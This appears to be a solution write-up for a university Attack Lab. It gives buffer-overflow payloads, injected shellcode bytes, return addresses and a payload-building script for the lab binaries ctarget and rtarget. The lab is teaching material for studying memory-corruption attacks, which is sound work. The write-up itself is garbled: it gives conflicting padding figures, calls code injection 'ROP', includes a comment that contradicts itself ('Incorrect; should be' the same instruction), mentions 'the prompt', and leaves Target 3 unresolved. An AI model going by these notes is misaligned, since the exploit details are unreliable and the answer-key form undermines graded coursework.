Attack Lab: Targets 1-3 on `ctarget`, Target 1 on `rtarget`

CS 356 Attack Lab

October 18, 2025

Overview

This lab covers exploit stages on two executables: `ctarget` (code injection) and `rtarget` (return-oriented programming).

- **Target 1 (`ctarget`)**: Redirect return to `target_f1` (Basic ROP)
- **Target 2 (`ctarget`)**: Inject code to set %edi = cookie, then call `target_f2`
- **Target 3 (`ctarget`)**: Inject code to set %rdi = pointer to string, then call `target_f3`
- **Target 4 (`rtarget`)**: Redirect return to `target_f1` (Basic ROP on different binary)

You will use: `gdb`, `objdump`, and `hex2raw`.

Disassembly of `ctarget:getbuf`

Executable: `ctarget`

```
00000000004016b3 <getbuf>:
 4016b3: 48 83 ec 38  sub $0x38,%rsp  ; Allocates 56 bytes (0x38)
 4016b7: 48 89 e7   mov %rsp,%rdi   ; rdi = buffer start
 4016ba: e8 ...     call Gets
 4016c4: 48 83 c4 38 add $0x38,%rsp
 4016c8: c3       ret
```

Key fact: The space from the buffer start to the saved return address is $N = 0x38 + 8$ (saved RBP) $= 64$ bytes. **Attack Lab Note:** For simplicity, $0x38$ bytes is often used as the padding if the compiler omits the saved RBP, or if $0x38$ is the space up to the return address. We will assume $N =$ **56** bytes for the provided solutions (Targets 1-3) as in the original notes.

Important Constants

- `ctarget:target_f1` = **0x40177f**
- `ctarget:target_f2` = **0x4017af**
- `ctarget:target_f3` = **0x401883**
- `rtarget:target_f1` = **0x40179f**
- Cookie prints at program start (e.g., `0x10fcf2b0`)
- `hex2raw` expects hex byte format (not ASCII)

How to Find Buffer Address B

The address **B** is the start of the buffer (`%rsp` value before `call Gets`).

```
gdb ./ctarget
(gdb) break getbuf
(gdb) run
(gdb) ni      ; 4016b3: sub $0x38, %rsp
(gdb) ni      ; 4016b7: mov %rsp, %rdi
(gdb) printf "B = %#018lx\n", $rdi
```

B = start address of buffer (e.g., `0x7ff...`). Use this as the jump target for injected code.

Target 1 (ctarget): Jump to target_f1

Goal: Overwrite return address to jump to `target_f1`.

- Padding: **56** bytes (e.g., 41)
- Return address: **0x40177f** in little-endian.

Payload Structure (sol1.txt):

```
[56 x 41] [7f 17 40 00 00 00 00 00]
```

Target 2 (ctarget): Set %edi = cookie, then call target_f2

Goal: Inject code to set %edi = cookie and jump to target_f2.

- Injected code (11 bytes):

```
BF <cookie>   ; mov $cookie, %edi
68 <addr>     ; push target_f2 (32-bit immediate)
C3            ; ret
```

- Length: **11** bytes
- Padding: $56 - 11 = \mathbf{45}$ bytes (e.g., 90 NOPs)
- Return address: **B** (buffer start address)

Target 3 (ctarget): Set %rdi to string, call target_f3

Goal: Pass a pointer to the string "10fcf2b0\0" in %rdi, then jump to target_f3.

- Address Strategy: The string must be placed on the stack at a known location, and the injected code must load that address into %rdi.
- Injected code: Load the string address into %rdi and jump to target_f3. A common gadget or short sequence is needed.
- String Data: 31 30 66 63 66 32 62 30 00 (9 bytes)

Solution structure (Length: Code + Padding + Ret Address + String)

- Code (e.g., pop %rdi / ret gadget address chain): $\approx$ 16 bytes
- Padding: **0** bytes (if the code + string fit within the buffer, 56 bytes)
- Return address: **B**
- String: **9** bytes (must be placed where %rdi can point to it, e.g., after the return address)

Crucial Fix: If the injected code is used, the padding must be calculated as: 56 – Code Length. The provided code '48 89 E7' is 'mov %rsp, %rdi'.

Target 3 (ctarget): Code Injection

Injected Code Payload (9 bytes):

```
48 89 E7      ; mov %rdi, %rsp (Incorrect; should be mov %rdi, %rsp)
; The assembly in the prompt is 48 89 E7 which is 'mov %rdi,%rsp' - this is
    wrong!
; Assume the intent was to load the string's address.
```

Assuming 10 bytes of injected code is used to load the string address:

- Payload Length: Code (10B) + Ret Addr (8B) + String (9B) $\approx$ 27B
- Padding: $56 - 10 =$ **46** bytes

Target 4 (rtarget): Jump to target_f1

Executable: `rtarget`

- Goal: Overwrite return address to jump to `rtarget:target_f1`.
- Assumption: Simple buffer overflow is used, not ROP (despite the mention).

Relevant `getbuf` Disassembly

```
00000000004016d3 <getbuf>:
 4016d3: 48 83 ec 38  sub $0x38,%rsp  ; Allocates 56 bytes
 4016d7: 48 89 e7   mov %rsp,%rdi
 4016da: e8 62 00 00 00 call 401741 <Gets>
 4016e8: c3      ret
```

Constants:

$$\text{Padding Size} = 0x38 = \mathbf{56} \text{ bytes}$$

$$\text{Target Address} = \mathbf{0x40179f}$$

Payload Generation:

```
# 56 bytes of padding (e.g., 'A'), then the 8 LE bytes of 0x40179f
printf '\x41%.0s' $(seq 1 56) > /tmp/payload.bin
printf '\x9f\x17\x40\x00\x00\x00\x00\x00' >> /tmp/payload.bin
./rtarget < /tmp/payload.bin
```

Common Pitfalls

- Use little-endian byte order for addresses.
- Avoid newline byte (`0a`) in payload, as it terminates `Gets`.
- Padding size: 56 bytes for Targets 1 and 4. **56** – Code Length for Targets 2 and 3.
- Use hex bytes in solution files, not ASCII. Use `hex2raw` to convert ASCII hex strings (e.g., `"4141..."`) into raw binary bytes.
- Double check buffer address **B** before using it as a jump target.

Grading Checklist

Target 1 (`c`)

- 56-byte padding
- Jump to `target_f1`

Target 2 (`c`)

- Inject code to set %edi = cookie
- **45**-byte padding ($\approx 56 - 11$)
- Jump to `target_f2`

Target 3 (`c`)

- Inject code to set %rdi = address of string
- Append string with null byte
- Jump to `target_f3`

Target 4 (`r`)

- **56**-byte padding
- Jump to `0x40179f`